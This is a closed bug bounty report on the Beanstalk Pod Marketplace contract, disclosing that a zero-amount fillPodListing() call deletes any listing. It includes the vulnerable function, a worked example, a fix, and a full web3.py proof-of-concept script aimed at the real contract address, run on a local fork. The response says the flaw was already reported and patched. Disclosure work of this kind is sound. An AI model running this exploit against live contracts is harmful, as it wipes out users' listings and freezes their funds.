📄

Report #12832

Report Date
October 25, 2022
Status
Closed
Payout

Attacker can cancel every single listing on the Pod Marketplace

Report Info

Report ID

#12832

Target

https://etherscan.io/address/0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5

Report type

Smart Contract

Impacts

Permanent freezing of funds

Has PoC?

Yes

Bug Description

An attacker can completely DOS the pod marketplace by cancelling every existing listing and any new listing transactions.

The attack is simple: call fillPodListing() with an amount of 0. The reason this invalidates the listing is because of function __fillListing():

function __fillListing(
        address to,
        PodListing calldata l,
        uint256 amount
    ) private {
        // Note: If l.amount < amount, the function roundAmount will revert

        if (l.amount > amount)
            s.podListings[l.index.add(amount).add(l.start)] = hashListing(
                0,
                l.amount.sub(amount),
                l.pricePerPod,
                l.maxHarvestableIndex,
                l.mode
            );
        emit PodListingFilled(l.account, to, l.index, l.start, amount);
        delete s.podListings[l.index];
    }

Since the attacker sends an amount of 0, the amount parameter will also be 0. Therefore, l.amount > 0 so the if statement is executed. The podListing is overwritten by the exact same parameters, and then deleted in the final line.

Example:

  • l.index = 100
  • l.start = 0
  • l.amount = 10
  • All other parameters are unimportant
  • Attacker calls fillPodListing() with beanAmount of 0, which eventually calculates to an amount of 0 passed into __fillListing().
  • l.amount > 0 (100 > 0)
  • s.podListings[100+0+0] = hashListing(...)
  • Since amount is 0 and start is 0, the podListing at index 100 is overwritten.
  • Finally, the final line delete s.podListings[l.index]; executes.
  • s.podListings[100] is deleted, deleting the entire listing.

NOTE: Listings with a non-zero start value are susceptible as well, but it will take two transactions to delete them. The first transaction creates a new listing at index + start and then the second transaction must be called at index + start to delete it.

NOTE: The libTransfer from mode parameter is unimportant. 0 or 1 both work.

Impact

  • Pod Marketplace is rendered useless. All listings can be deleted by anyone.
  • The attacker will be able to set their desired price for pods. They will control the entire market. This unfair advantage will directly affect the value of users' funds.
  • User funds are affected because they will not be able to purchase/sell pods. Expected profits will not be executed. Funds that would normally flow through the Beanstalk protocol will be frozen.

Risk Breakdown

Difficulty to Exploit: Easy

Recommendation

Deleting the pod listing as the first step of __fillListing() would remedy the issue.

Proof of concept

This POC invalidates a single listing that is currently shown on https://app.bean.money/#/market. Note that all listings can be invalidated, but only a single listing was used for demonstration purposes.

This POC is written in Python using the web3.py package.

from web3 import Web3
import json

## ganache-cli --fork https://rpc.ankr.com/eth -u 0x785Fd2CDb69C5c67dFc2221900b871f89b20BA2c

if __name__ == "__main__":

    ######## ABIs ########
    BEANSTALK_ABI_RAW = [
        {
            "inputs": [{"internalType": "uint256", "name": "index", "type": "uint256"}],
            "name": "podListing",
            "outputs": [{"internalType": "bytes32", "name": "", "type": "bytes32"}],
            "stateMutability": "view",
            "type": "function",
        },
        {
            "inputs": [
                {
                    "components": [
                        {
                            "internalType": "address",
                            "name": "account",
                            "type": "address",
                        },
                        {"internalType": "uint256", "name": "index", "type": "uint256"},
                        {"internalType": "uint256", "name": "start", "type": "uint256"},
                        {
                            "internalType": "uint256",
                            "name": "amount",
                            "type": "uint256",
                        },
                        {
                            "internalType": "uint24",
                            "name": "pricePerPod",
                            "type": "uint24",
                        },
                        {
                            "internalType": "uint256",
                            "name": "maxHarvestableIndex",
                            "type": "uint256",
                        },
                        {
                            "internalType": "enum LibTransfer.To",
                            "name": "mode",
                            "type": "uint8",
                        },
                    ],
                    "internalType": "struct Listing.PodListing",
                    "name": "l",
                    "type": "tuple",
                },
                {"internalType": "uint256", "name": "beanAmount", "type": "uint256"},
                {
                    "internalType": "enum LibTransfer.From",
                    "name": "mode",
                    "type": "uint8",
                },
            ],
            "name": "fillPodListing",
            "outputs": [],
            "stateMutability": "payable",
            "type": "function",
        },
    ]

    ######## Initial Setup ########
    rpc = "http://127.0.0.1:8545"
    web3 = Web3(Web3.HTTPProvider(rpc))

    listing_owner = "0x57B649E1E06FB90F4b3F04549A74619d6F56802e"
    listing_index = 65961902893995
    listing_start = 0
    listing_amount = 72176750090
    listing_price_per_pod = 680000
    listing_max_harvestable_index = 65961902893995
    listing_mode = 0

    ## Random address with Ether
    attacker = "0x785Fd2CDb69C5c67dFc2221900b871f89b20BA2c"

    ## Beanstalk Contract
    beanstalk_address = "0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5"
    beanstalk_ABI = json.loads(json.dumps(BEANSTALK_ABI_RAW))
    beanstalk = web3.eth.contract(address=beanstalk_address, abi=beanstalk_ABI)

    ######## Start Exploit ########
    print("STARTING ATTACK.", end="\n\n")

    print("Checking listing exists.")
    print(beanstalk.functions.podListing(listing_index).call(), end="\n\n")

    print("Filling order.")
    listing_struct = [
        listing_owner,
        listing_index,
        listing_start,
        listing_amount,
        listing_price_per_pod,
        listing_max_harvestable_index,
        listing_mode,
    ]
    beanstalk.functions.fillPodListing(listing_struct, 0, 1).transact(
        {"from": attacker}
    )
    print("Order filled with 0 amount.", end="\n\n")

    print("Checking listing exists.")
    print(beanstalk.functions.podListing(listing_index).call(), end="\n\n")

    print("END ATTACK.")

BIC Response

Thank you for reporting this! This issue had already been reported by another whitehat on Immunefi on 10/23/22. You can see that the code that fixed the bug was committed 22 hours ago: https://github.com/BeanstalkFarms/Beanstalk/pull/135/commits/fac12041378a090bec6de735db6b88650455b3df

You can find more information in EBIP-3 here: https://github.com/BeanstalkFarms/Beanstalk/pull/135

The bug bounty program only pays a reward to the first report of any particular issue, so this report will not receive a reward.